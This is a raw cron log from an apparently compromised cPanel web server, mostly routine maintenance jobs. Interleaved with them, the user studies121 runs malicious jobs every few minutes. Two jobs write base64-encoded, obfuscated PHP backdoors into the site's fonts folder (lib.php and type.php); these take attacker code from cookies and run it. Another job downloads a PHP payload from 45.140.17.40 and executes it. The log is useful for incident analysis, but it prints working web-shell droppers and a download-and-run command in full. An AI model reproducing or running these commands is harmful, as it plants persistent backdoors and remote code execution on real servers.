Sep  8 11:51:01 ip-184-168-122-23 CROND[12706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:51:01 ip-184-168-122-23 CROND[12708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:52:01 ip-184-168-122-23 CROND[12830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:52:01 ip-184-168-122-23 CROND[12834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:52:01 ip-184-168-122-23 CROND[12832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:52:01 ip-184-168-122-23 CROND[12835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:52:01 ip-184-168-122-23 CROND[12833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:53:01 ip-184-168-122-23 CROND[12969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:53:01 ip-184-168-122-23 CROND[12971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:53:01 ip-184-168-122-23 CROND[12972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:53:01 ip-184-168-122-23 CROND[12973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:54:01 ip-184-168-122-23 CROND[13106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:54:01 ip-184-168-122-23 CROND[13107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:54:01 ip-184-168-122-23 CROND[13110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:54:01 ip-184-168-122-23 CROND[13108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:54:01 ip-184-168-122-23 CROND[13111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:55:01 ip-184-168-122-23 CROND[13221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:55:01 ip-184-168-122-23 CROND[13224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:55:01 ip-184-168-122-23 CROND[13225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:55:01 ip-184-168-122-23 CROND[13223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:55:01 ip-184-168-122-23 CROND[13226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:55:01 ip-184-168-122-23 CROND[13227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:56:01 ip-184-168-122-23 CROND[13329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:56:01 ip-184-168-122-23 CROND[13331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:56:01 ip-184-168-122-23 CROND[13333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:56:01 ip-184-168-122-23 CROND[13332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:56:01 ip-184-168-122-23 CROND[13334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:57:01 ip-184-168-122-23 CROND[13453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:57:01 ip-184-168-122-23 CROND[13457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:57:01 ip-184-168-122-23 CROND[13455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:57:01 ip-184-168-122-23 CROND[13456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:58:01 ip-184-168-122-23 CROND[13663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:58:01 ip-184-168-122-23 CROND[13667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:58:01 ip-184-168-122-23 CROND[13665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:58:01 ip-184-168-122-23 CROND[13666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:58:01 ip-184-168-122-23 CROND[13668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:59:01 ip-184-168-122-23 CROND[13775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:59:01 ip-184-168-122-23 CROND[13777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:59:01 ip-184-168-122-23 CROND[13779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:59:01 ip-184-168-122-23 CROND[13780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:00:01 ip-184-168-122-23 CROND[13903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:00:01 ip-184-168-122-23 CROND[13907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:00:01 ip-184-168-122-23 CROND[13909]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 12:00:01 ip-184-168-122-23 CROND[13912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:00:01 ip-184-168-122-23 CROND[13911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:00:01 ip-184-168-122-23 CROND[13914]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:00:02 ip-184-168-122-23 CROND[13920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:00:02 ip-184-168-122-23 CROND[13923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:00:02 ip-184-168-122-23 CROND[13922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:00:02 ip-184-168-122-23 CROND[13921]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  8 12:01:01 ip-184-168-122-23 CROND[14067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:01:01 ip-184-168-122-23 CROND[14068]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 12:01:01 ip-184-168-122-23 CROND[14073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:01:01 ip-184-168-122-23 CROND[14072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:01:01 ip-184-168-122-23 CROND[14070]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 12:01:01 ip-184-168-122-23 CROND[14076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14068]: starting 0anacron
Sep  8 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14088]: finished 0anacron
Sep  8 12:02:01 ip-184-168-122-23 CROND[14198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:02:02 ip-184-168-122-23 CROND[14202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:02:02 ip-184-168-122-23 CROND[14200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:02:02 ip-184-168-122-23 CROND[14201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:02:02 ip-184-168-122-23 CROND[14203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:03:01 ip-184-168-122-23 CROND[14327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:03:01 ip-184-168-122-23 CROND[14330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:03:01 ip-184-168-122-23 CROND[14328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
